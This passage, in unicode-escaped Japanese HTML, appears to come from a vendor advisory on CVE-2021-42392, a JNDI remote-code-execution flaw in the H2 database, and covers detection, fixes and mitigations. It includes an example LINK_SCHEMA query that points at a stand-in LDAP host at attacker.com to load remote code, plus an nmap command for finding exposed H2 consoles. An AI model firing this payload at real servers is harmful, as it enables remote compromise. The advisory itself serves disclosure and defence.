u4f5c\u3067\u304d\u308b\u5834\u5408\u306f\u3001\u653b\u6483\u306e\u53ef\u80fd\u6027\u304c\u9ad8\u304f\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u304c\u5fc5\u8981\u3067\u3042\u308b\u3068\u3044\u3046\u8a00\u3044\u65b9\u3082\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u653b\u6483\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001Yamale \u306e\u30d6\u30ed\u30b0<\/a>\u306b\u8a73\u3057\u3044\u3067\u3059\u3002<\/p>\n
    SQL \u30d9\u30fc\u30b9\u306e\u30d9\u30af\u30bf \u30fc \u8a8d\u8a3c\u3055\u308c\u305f (\u7279\u6a29) RCE<\/h3>\n
    \u8106\u5f31\u306a JdbcUtils.getConnection<\/code> \u306f\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u7528\u610f\u3055\u308c\u3066\u3044\u308b\u3044\u304f\u3064\u304b\u306e SQL \u30b9\u30c8\u30a2\u30c9\u30d7\u30ed\u30b7\u30fc\u30b8\u30e3\u306b\u3088\u3063\u3066\u3082\u547c\u3073\u51fa\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3044\u304f\u3064\u304b\u306e\u30d7\u30ed\u30b7\u30fc\u30b8\u30e3\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u3089\u306f\u3059\u3079\u3066\u3001\u8a8d\u8a3c\u3055\u308c\u305f\uff08DB\uff09\u7ba1\u7406\u8005\u306e\u307f\u304c\u547c\u3073\u51fa\u3059\u3053\u3068\u304c\u3067\u304d\u308b<\/strong>\u3068\u3044\u3046\u3001\u3053\u306e\u653b\u6483\u30d9\u30af\u30bf\u306e\u6df1\u523b\u5ea6\u3092\u4e0b\u3052\u308b\u5171\u901a\u306e\u6027\u8cea\u3092\u6301\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n
    \u4f8b\u3048\u3070\u3001LINK_SCHEMA<\/a> \u30b9\u30c8\u30a2\u30c9\u30d7\u30ed\u30b7\u30fc\u30b8\u30e3\u306f\u3001\u6b21\u306e\u30af\u30a8\u30ea\u3067\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u3001\u8106\u5f31\u306a\u95a2\u6570\u306b\u30c9\u30e9\u30a4\u30d0\u3068 URL \u306e\u5f15\u6570\u3092\u76f4\u63a5\u6e21\u3057\u307e\u3059\u3002<\/p>\n
    SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap:\/\/attacker.com:1387\/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');<\/code><\/pre>\n
    \u30b9\u30c8\u30a2\u30c9\u30d7\u30ed\u30b7\u30fc\u30b8\u30e3\u306f DB \u7ba1\u7406\u8005\u306e\u307f\u306b\u5236\u9650\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u6700\u3082\u53ef\u80fd\u6027\u306e\u9ad8\u3044\u653b\u6483\u30d9\u30af\u30bf\u306f\u3001\u500b\u5225\u306e SQL \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u6b20\u9665\u3092\u5229\u7528\u3057\u3066\u306e RCE \u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3060\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n
    CVE-2021-42392 \u306b\u8a72\u5f53\u3059\u308b\u304b\u3069\u3046\u304b\u306f\u3001\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u78ba\u8a8d\u3067\u304d\u308b\u304b\uff1f<\/h2>\n
    \u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7ba1\u7406\u8005\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u30b5\u30d6\u30cd\u30c3\u30c8\u3067 H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u30aa\u30fc\u30d7\u30f3\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092 nmap<\/a> \u3067\u30b9\u30ad\u30e3\u30f3\u3067\u304d\u307e\u3059\u3002<\/p>\n
    nmap -sV --script http-title --script-args \"http-title.url=\/\" -p80,443,8000-9000 192.168.0.0\/8 | grep \"H2 Console\"<\/code><\/pre>\n
    \uff08\u30d0\u30cb\u30e9\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30b3\u30f3\u30bd\u30fc\u30eb\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306f\u300c\/\u300d\u3067\u3059\u304c\u3001\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u306e\u30c4\u30fc\u30eb\u3067\u5c55\u958b\u3055\u308c\u305f H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3067\u306f\u7570\u306a\u308b\u5834\u5408\u304c\u3042\u308a\u307e\u3059\uff09<\/em><\/p>\n
    \u4e0a\u8a18\u306e\u5b9f\u884c\u306e\u7d50\u679c\u306b\u3066\u8868\u793a\u3055\u308c\u305f\u30b5\u30fc\u30d0\u306f\u3001\u3059\u3079\u3066\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u53ef\u80fd\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3067\u3059\u3002<\/p>\n
    \u524d\u8ff0\u306e\u3088\u3046\u306b\u3001\u4ed6\u306e\u653b\u6483\u624b\u6bb5\u3082\u3042\u308a\u307e\u3059\u304c\u3001\u305d\u308c\u3089\u3092\u5229\u7528\u3057\u305f\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u53ef\u80fd\u6027\u306f\u304b\u306a\u308a\u4f4e\u3044\u3067\u3059\u3002\u305d\u308c\u3067\u3082\u306a\u304a\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\uff08\u4ee5\u4e0b\u306e\u300c\u63a8\u5968\u4fee\u6b63\u6848\u300d\u3092\u53c2\u7167\uff09\u3002<\/p>\n
    JFrog \u306f\u3069\u306e\u3088\u3046\u306b\u3057\u3066 CVE-2021-42392 \u3092\u691c\u51fa\u3057\u305f\u306e\u304b\uff1f<\/h2>\n
    \u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30c7\u30fc\u30bf\u30d5\u30ed\u30fc\u5206\u6790\uff08DFA\uff09\u306b\u3088\u3063\u3066\u691c\u51fa\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002Java \u306b\u7d44\u307f\u8fbc\u307e\u308c\u305f HttpServlet.doGet\/doPost<\/code> \u30e1\u30bd\u30c3\u30c9\u3092\u30e6\u30fc\u30b6\u306e\u5165\u529b\u30bd\u30fc\u30b9\uff08\u5177\u4f53\u7684\u306b\u306f\uff11\u756a\u76ee\u306e req \u5f15\u6570\uff09\u3068\u3057\u3066\u5b9a\u7fa9\u3057\u3001\u524d\u8ff0\u306e javax.naming.Context.lookup<\/code> \u30e1\u30bd\u30c3\u30c9\uff08JNDI\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u5b9f\u884c\u3059\u308b\uff09\u3092\u5371\u967a\u306a\u95a2\u6570\/\u30b7\u30f3\u30af\u3068\u3057\u3066\u5b9a\u7fa9\u3057\u307e\u3059\u3002<\/p>\n
    \u3053\u306e\u30b1\u30fc\u30b9\u306e\u30c7\u30fc\u30bf\u30d5\u30ed\u30fc\u306f\u3001\u4e00\u90e8\u306e\u30af\u30e9\u30b9\u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u30c8\u30ec\u30fc\u30b9\u304c\u5fc5\u8981\u3067\u3059\u304c\u3001\u304b\u306a\u308a\u5358\u7d14\u3067\u3059\u3002\u4ee5\u4e0b\u306e\u8d64\u8272<\/span>\u3067\u793a\u3055\u308c\u305f\u5909\u6570\u306f\u3001\u30c8\u30ec\u30fc\u30b9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u8868\u3057\u307e\u3059\u3002<\/p>\n
    \"CVE-2021-42392<\/p>\n
    \"\"<\/h2>\n
    <\/h2>\n
    CVE-2021-42392 \u306e\u63a8\u5968\u4fee\u6b63\u6848\u306f\u4f55\u304b\uff1f<\/h2>\n
    H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u76f4\u63a5\u4f7f\u7528\u3057\u3066\u3044\u306a\u3044\u5834\u5408\u3067\u3082\u3001 \u30d0\u30fc\u30b8\u30e7\u30f3 2.0.206<\/a> \u3078\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3092\u63a8\u5968\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u4ed6\u306e\u653b\u6483\u30d9\u30af\u30bf\u304c\u5b58\u5728\u3057\u3001\u305d\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u53ef\u80fd\u6027\u3092\u78ba\u8a8d\u3059\u308b\u306e\u304c\u56f0\u96e3\u3067\u3042\u308b\u5834\u5408\u304c\u3042\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\n
    \u30d0\u30fc\u30b8\u30e7\u30f3 2.0.206 \u3067\u306f\u3001JNDI \u306e URL \u3092\uff08\u30ed\u30fc\u30ab\u30eb\u306e\uff09java<\/code> \u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u307f\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u5236\u9650\u3057\u3001\u3064\u307e\u308a\u306f\u30ea\u30e2\u30fc\u30c8\u306e LDAP\/RMI \u30af\u30a8\u30ea\u3092\u62d2\u5426\u3059\u308b\u3053\u3068\u3067 CVE-2021-42392 \u3092\u4fee\u6b63\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001Log4j 2.17.0<\/a> \u306e\u4fee\u6b63\u3068\u540c\u3058\u3067\u3059\u3002<\/p>\n
    CVE-2021-42392 \u306f\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u7de9\u548c\u53ef\u80fd\u304b\uff1f<\/h2>\n
    \u3053\u306e\u8106\u5f31\u6027\u306e\u6700\u5584\u306e\u5bfe\u7b56\u306f\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n
    H2 \u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u304c\u3059\u3050\u306b\u306f\u3067\u304d\u306a\u3044\u30d9\u30f3\u30c0\u5411\u3051\u306b\u3001\u6b21\u306e\u7de9\u548c\u7b56\u3092\u63d0\u6848\u3057\u307e\u3059\u3002<\/p>\n
      \n
    1. Log4Shell \u306e\u6642\u3068\u540c\u69d8\u3001\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Java \u306f\u3001JNDI \u7d4c\u7531\u3067\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u3092\u5358\u7d14\u306b\u30ed\u30fc\u30c9\u3057\u306a\u3044\u3088\u3046\u306b\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\uff08trustURLCodebase<\/code> \u306b\u3088\u308b\uff09\u3002\u3053\u306e\u7de9\u548c\u7b56\u3092\u6709\u52b9\u306b\u3059\u308b\u305f\u3081\u306b Java\uff08JRE\/JDK\uff09\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092\u63a8\u5968\u3057\u307e\u3059\u3002
      \n\u3053\u306e\u7de9\u548c\u7b56\u306f\u3001\u6b21\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Java\uff08\u307e\u305f\u306f\u305d\u308c\u4ee5\u964d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\uff09\u3067\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u6709\u52b9\u3067\u3059\u3002<\/p>\n